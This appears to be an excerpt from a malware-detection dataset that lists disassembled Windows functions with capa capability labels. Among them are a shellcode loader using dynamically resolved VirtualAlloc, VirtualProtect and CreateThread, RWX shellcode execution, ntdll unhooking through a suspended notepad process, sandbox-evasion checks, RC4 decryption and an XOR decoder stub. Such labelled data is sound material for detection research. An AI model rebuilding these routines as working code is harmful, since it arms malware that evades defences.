joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001080
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword gs:[0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400010f6
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x48]
test eax, eax
je 0x1400010f0
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x50]
call fcn.140001410
test eax, eax
je 0x1400010e1
jmp 0x1400010e3
jmp 0x1400010f6
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
xor eax, eax
jmp 0x1400010f6
add rsp, 0x48
ret

Function at 0x140001100
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x148
mov rax, qword [rsp + 0x160]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001140
xor eax, eax
jmp 0x140001284
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
je 0x14000116d
xor eax, eax
jmp 0x140001284
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
mov rdi, rax
lea rsi, [rcx + 0x18]
mov ecx, 0xf0
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 0
mov eax, dword [rsp + rax + 0xc0]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov dword [rsp], 0
jmp 0x1400011fe
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x14]
cmp dword [rsp], eax
jae 0x140001282
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x28]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x30]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x14000126d
inc rax
test dl, dl
jne 0x14000125a
xor eax, eax
jmp 0x140001272
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000127d
mov rax, qword [rsp + 0x48]
jmp 0x140001284
jmp 0x1400011f6
xor eax, eax
add rsp, 0x148
pop rdi
pop rsi
ret
Function at 0x140001600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0xa8
mov byte [rsp + 0x30], 0x68
mov byte [rsp + 0x31], 0x65
mov byte [rsp + 0x32], 0x61
mov byte [rsp + 0x33], 0xa1
mov byte [rsp + 0x34], 0x88
mov byte [rsp + 0x35], 0xa8
mov byte [rsp + 0x36], 0x68
mov byte [rsp + 0x37], 0x65
mov byte [rsp + 0x38], 0x61
mov byte [rsp + 0x39], 0xa1
mov byte [rsp + 0x3a], 0x88
mov byte [rsp + 0x3b], 0xa8
mov byte [rsp + 0x3c], 0x68
mov byte [rsp + 0x3d], 0x65
mov byte [rsp + 0x3e], 0x61
mov byte [rsp + 0x3f], 0xa1
mov byte [rsp + 0x40], 0x88
mov byte [rsp + 0x41], 0xa8
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x48], 8
mov r9d, 0x12
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
call fcn.140001550
lea rcx, [0x1400020f8]
call fcn.140001080
lea rdx, str.CreateThread
mov rcx, rax
call fcn.140001100
mov qword [rsp + 0x80], rax
lea rcx, [0x140002128]
call fcn.140001080
lea rdx, str.VirtualAlloc
mov rcx, rax
call fcn.140001100
mov qword [rsp + 0x70], rax
lea rcx, [0x140002158]
call fcn.140001080
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.140001100
mov qword [rsp + 0x78], rax
lea rcx, str.kernel32.dll
call fcn.140001080
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.140001100
mov qword [rsp + 0x88], rax
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [rsp + 0x70]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000174c
mov eax, 0xffffffff
jmp 0x1400017ef
call fcn.140001300
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call section..text
mov r8, qword [rsp + 0x48]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140001800
mov dword [rsp + 0x58], 0
lea r9, [rsp + 0x58]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x78]
test eax, eax
jne 0x1400017a2
mov eax, 0xffffffff
jmp 0x1400017ef
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x80]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400017dc
mov eax, 0xffffffff
jmp 0x1400017ef
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x88]
xor eax, eax
add rsp, 0xa8
ret
Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400059c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002550
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002960
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x110
mov rsi, qword [0x140005a90]
mov ecx, 0x1a
xor r9d, r9d
mov rax, qword [rsi]
mov qword [rsp + 0x108], rax
xor eax, eax
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x70]
mov rdi, rdx
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], rdx
lea rcx, str.C:WindowsSystem32_notepad.exe
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0x70], 0
jne 0x1400029e9
xor ebx, ebx
jmp 0x140002a79
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x88]
mov rdx, rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x58], r8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, dword [rsp + 0x90]
mov rbx, rax
mov rdx, qword [rsp + 0x88]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400029e2
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x108]
sub rax, qword [rsi]
je 0x140002a8b
call fcn.140002520
mov rax, rbx
add rsp, 0x110
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002aa0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbp, qword [0x140005a90]
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.NTDLL.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
xor edx, edx
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x38], rdx
lea r9, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call rax
test eax, eax
jne 0x140002b1c
mov rdi, qword [rsp + 0x38]
mov rcx, rbx
rep movsb byte [rdi], byte [rsi]
call qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
sub rax, qword [rbp]
je 0x140002b2d
call fcn.140002520
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140002bc0
Capabilities:
Get local ipv4 addresses

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rbp, qword [0x140005a90]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
lea rsi, [rsp + 0x3c]
xor eax, eax
mov rdi, rcx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov dword [rsp + 0x3c], eax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
je 0x140002c0a
xor eax, eax
jmp 0x140002c8c
mov edx, dword [rsp + 0x3c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
mov rbx, rax
je 0x140002c03
mov qword [rsp + 0x20], rsi
mov r9, rax
xor r8d, r8d
xor edx, edx
lea r12, [rsp + 0x42]
xor ecx, ecx
mov rsi, rbx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp dword [rsi + 0x58], 6
jne 0x140002c75
mov eax, dword [rsi + 0x50]
mov r8d, 3
mov rdx, r12
mov rcx, rdi
mov dword [rsp + 0x42], eax
mov ax, word [rsi + 0x54]
mov word [rsp + 0x46], ax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x140002c75
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
jmp 0x140002c8c
mov rsi, qword [rsi + 8]
test rsi, rsi
jne 0x140002c3d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002c03
mov rdx, qword [rsp + 0x48]
sub rdx, qword [rbp]
je 0x140002c9c
call fcn.140002520
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002d40
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rbx, qword [0x140005a90]
mov rsi, qword [sym.imp.USER32.dll_GetCursorPos]
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call rsi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call rsi
mov edx, dword [rsp + 0x30]
xor eax, eax
cmp dword [rsp + 0x28], edx
jne 0x140002d8e
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x2c], eax
sete al
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rbx]
je 0x140002d9d
call fcn.140002520
add rsp, 0x48
pop rbx
pop rsi
ret
Function at 0x140002db0
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x160
mov rdi, qword [0x140005a90]
xor edx, edx
mov rax, qword [rdi]
mov qword [rsp + 0x158], rax
xor eax, eax
mov rsi, rcx
mov ecx, 2
mov dword [rsp + 0x28], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rbp, [rsp + 0x28]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
lea r12, [rsp + 0x54]
test eax, eax
jne 0x140002e08
xor eax, eax
jmp 0x140002e2a
mov rdx, rbp
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140002e04
mov rdx, rsi
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll__stricmp
test eax, eax
jne 0x140002e08
mov eax, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x158]
sub rdx, qword [rdi]
je 0x140002e3c
call fcn.140002520
add rsp, 0x160
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002e50
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, qword [0x140005a90]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x48], 1
setbe al
mov rdx, qword [rsp + 0x58]
sub rdx, qword [rbx]
je 0x140002e88
call fcn.140002520
add rsp, 0x60
pop rbx
ret

Function at 0x140002e90
Capabilities:
Get local ipv4 addresses

Disassembly:
sub rsp, 0x28
lea rcx, [0x140005090]
call fcn.140002bc0
test al, al
jne 0x140002f04
lea rcx, [0x140005094]
call fcn.140002bc0
test al, al
jne 0x140002f04
lea rcx, [0x140005098]
call fcn.140002bc0
test al, al
jne 0x140002f04
lea rcx, [0x14000509c]
call fcn.140002bc0
test al, al
jne 0x140002f04
lea rcx, [0x1400050a0]
call fcn.140002bc0
test al, al
jne 0x140002f04
lea rcx, [0x1400050a4]
call fcn.140002bc0
test al, al
jne 0x140002f04
lea rcx, [0x1400050a8]
add rsp, 0x28
jmp fcn.140002bc0
mov al, 1
add rsp, 0x28
ret

Function at 0x140002f10
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x70
mov rbx, qword [0x140005a90]
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
xor eax, eax
mov dword [rsp + 0x28], 0x40
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x30], 0x7fffffff
setbe al
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rbx]
je 0x140002f54
call fcn.140002520
add rsp, 0x70
pop rbx
ret
Function at 0x1400031e0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x140005a90]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x14000322b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002b40
cmp rsi, 0x100
jne 0x140003255
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x1400032e5
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002b40
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140003290
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x1400032f7
call fcn.140002520
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x1400034a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, qword [0x140005a90]
xor r13d, r13d
mov rax, qword [rdi]
mov qword [rsp + 0x38], rax
xor eax, eax
call fcn.140002960
lea rcx, str.ntdll.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rbx, dword [rbp + 0x3c]
mov r12, rax
xor eax, eax
mov dword [rsp + 0x34], eax
add rbx, rbp
lea r15, [rbx + 0x18]
movzx eax, word [rbx + 6]
cmp eax, r13d
jle 0x14000357a
imul rax, r13, 0x28
movzx r10d, word [rbx + 0x14]
lea rdx, str..text
add r10, r15
lea r14, [r10 + rax]
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140003522
inc r13
jmp 0x1400034ed
mov ecx, dword [r14 + 0xc]
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov edx, dword [r14 + 8]
mov qword [rsp + 0x28], r9
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000357a
mov esi, dword [r14 + 0xc]
mov ecx, dword [r14 + 8]
mov r9, qword [rsp + 0x28]
lea rax, [r12 + rsi]
add rsi, rbp
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r14 + 0xc]
mov edx, dword [r14 + 8]
mov r8d, dword [rsp + 0x34]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000351d
mov rdi, qword [0x140005a90]
mov rax, qword [rsp + 0x38]
sub rax, qword [rdi]
je 0x140003591
call fcn.140002520
nop
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14002924c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c844
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c844
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002939c
cmp rax, 0xffffffffffffffff
je 0x14002939c
xor edi, edi
test rbp, rbp
jle 0x140029347
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f158
mov rbx, rax
test rax, rax
jne 0x1400292d4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002933d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a178
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d520
cmp eax, 0xffffffff
je 0x14002931d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400292e4
mov edx, r15d
mov ecx, r14d
call fcn.14001a178
jmp 0x14002933d
cmp byte [rsi + 0x38], dil
je 0x140029334
cmp dword [rsi + 0x34], 5
jne 0x140029334
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002933d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001af0c
jmp 0x1400293b0
jns 0x1400293b0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c844
cmp rax, 0xffffffffffffffff
jne 0x140029368
cmp byte [rsi + 0x30], dil
je 0x1400293b0
mov edi, dword [rsi + 0x2c]
jmp 0x1400293b0
mov ecx, r14d
call fcn.140018630
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400293b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400293b0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400293a9
mov eax, dword [rsi + 0x2c]
jmp 0x1400293ae
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c844
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140f76a2c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f76a36
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f76a5f
pop rbp
sub rbp, 0x33
sub rbp, 0xf76a2c
sub rsp, 0x20
jmp 0x140f76a7e
test dword [rax], 0x20ec8148
add byte [rax], al
add cl, ch
add al, 0
add byte [rax], al
test al, 0x4f
mov rax, 0xf76a2c
mov rax, 0xf76a2c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffcd4d833f
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f76a9d
jmp 0x140f76ab4
ja 0x140f76a6c
invalid
Function at 0x1400017b0
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov rdi, rdx
mov ecx, 0x40
call sub.glib_2.0_0.dll_g_slice_alloc0
mov rcx, rdi
mov rbx, rax
call sub.glib_2.0_0.dll_g_strdup
mov qword [rbx], rax
mov r9, rdi
movzx r10d, byte [rdi]
mov r8d, 0x1505
test r10b, r10b
je 0x140001808
nop
imul r8d, r8d, 0x21
lea r9, [r9 + 1]
movsx eax, r10b
movzx r10d, byte [r9]
add r8d, eax
test r10b, r10b
jne 0x1400017f0
mov rcx, rdi
mov dword [rbx + 8], r8d
call sub.glib_2.0_0.dll_g_strdup
mov rdx, rax
mov r8, rbx
mov rcx, rsi
call sub.glib_2.0_0.dll_g_hash_table_insert
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x408230
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
cmp byte [0x005910a0], 0
je 0x4082e8
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rdi, rax
mov rcx, rsi
call fcn.00411380
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, qword [0x0056a0d8]
call fcn.00411380
mov rcx, rsi
mov rdx, qword [0x0056a0d8]
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, rbx
call fcn.00411380
mov rcx, rsi
mov rdx, rbx
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x4082fb
xor ecx, ecx
mov rdx, rbx
mov r8, rsi
mov r9d, 0x2010
call sub.user32.dll_MessageBoxA
lea rsp, [rbp + 0x48]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x4098a0
Capabilities:
Accept command line arguments

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x38], 0
nop
xor eax, eax
mov dword [rbp + 0x2c], eax
call sub.kernel32.dll_GetCommandLineW
mov rcx, rax
lea rdx, [rbp + 0x38]
call fcn.004097b0
mov rcx, rax
lea rdx, [rbp + 0x38]
call fcn.004097b0
cmp qword [rbp + 0x38], 0
je 0x4098e5
mov ecx, dword [rbp + 0x2c]
add ecx, 1
mov dword [rbp + 0x2c], ecx
jmp 0x4098c7
nop
nop
lea rcx, [rbp + 0x38]
call fcn.00410ad0
mov eax, dword [rbp + 0x2c]
lea rsp, [rbp + 0x40]
pop rbp
ret
Function at 0x40e7f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
push r14
push r13
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov ebx, edx
mov rax, qword [rbp + 0x28]
mov r13d, dword [rax + 0x18]
mov rcx, qword [rbp + 0x28]
call fcn.0040ee40
mov esi, eax
test sil, sil
jne 0x40e9a5
test ebx, ebx
je 0x40e9a5
xor edi, edi
test r13d, r13d
jle 0x40e8d1
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov dword [rbp + 0x3c], 0
test r13d, r13d
jle 0x40e8b5
cmp ebx, 0xffffffff
je 0x40e863
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40e863
xor esi, esi
jmp 0x40e9a5
mov rax, qword [rbp + 0x28]
cmp dword [rax], 1
jg 0x40e8b5
mov rax, qword [rbp + 0x28]
cmp dword [rax], 0
jne 0x40e8a3
xor eax, eax
mov ecx, 1
mov rdx, qword [rbp + 0x28]
lock cmpxchg dword [rdx], ecx
test eax, eax
jne 0x40e8a3
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rbp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov sil, 1
jmp 0x40e9a5
lea rcx, [rbp + 0x3c]
call fcn.0040e390
sub r13d, 1
test r13d, r13d
jg 0x40e84a
nop
cmp ebx, 0xffffffff
je 0x40e8d1
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40e8cf
xor esi, esi
jmp 0x40e9a5
sub ebx, eax
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax]
test ecx, ecx
je 0x40e80d
mov edx, ecx
add edx, 2
mov eax, ecx
mov r8, qword [rbp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40e8d1
nop
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov rcx, qword [rbp + 0x28]
call fcn.0040ea50
xor ecx, ecx
mov rdx, rax
mov r8d, ebx
mov rax, qword [0x00591998]
call qword [rax + 0x20]
test eax, eax
sete sil
cmp ebx, 0xffffffff
je 0x40e934
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jae 0x40e932
sub ebx, eax
jmp 0x40e934
xor ebx, ebx
test sil, sil
je 0x40e966
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax]
mov eax, ecx
test eax, 1
jne 0x40e963
mov edx, ecx
sub edx, 2
or edx, 1
mov eax, ecx
mov r8, qword [rbp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40e939
mov dil, 1
nop
jmp 0x40e983
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax]
mov edx, ecx
sub edx, 2
mov eax, ecx
mov r8, qword [rbp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40e966
mov dil, 1
test dil, dil
je 0x40e8f4
nop
test sil, sil
je 0x40e9a5
call sub.kernel32.dll_GetCurrentThreadId
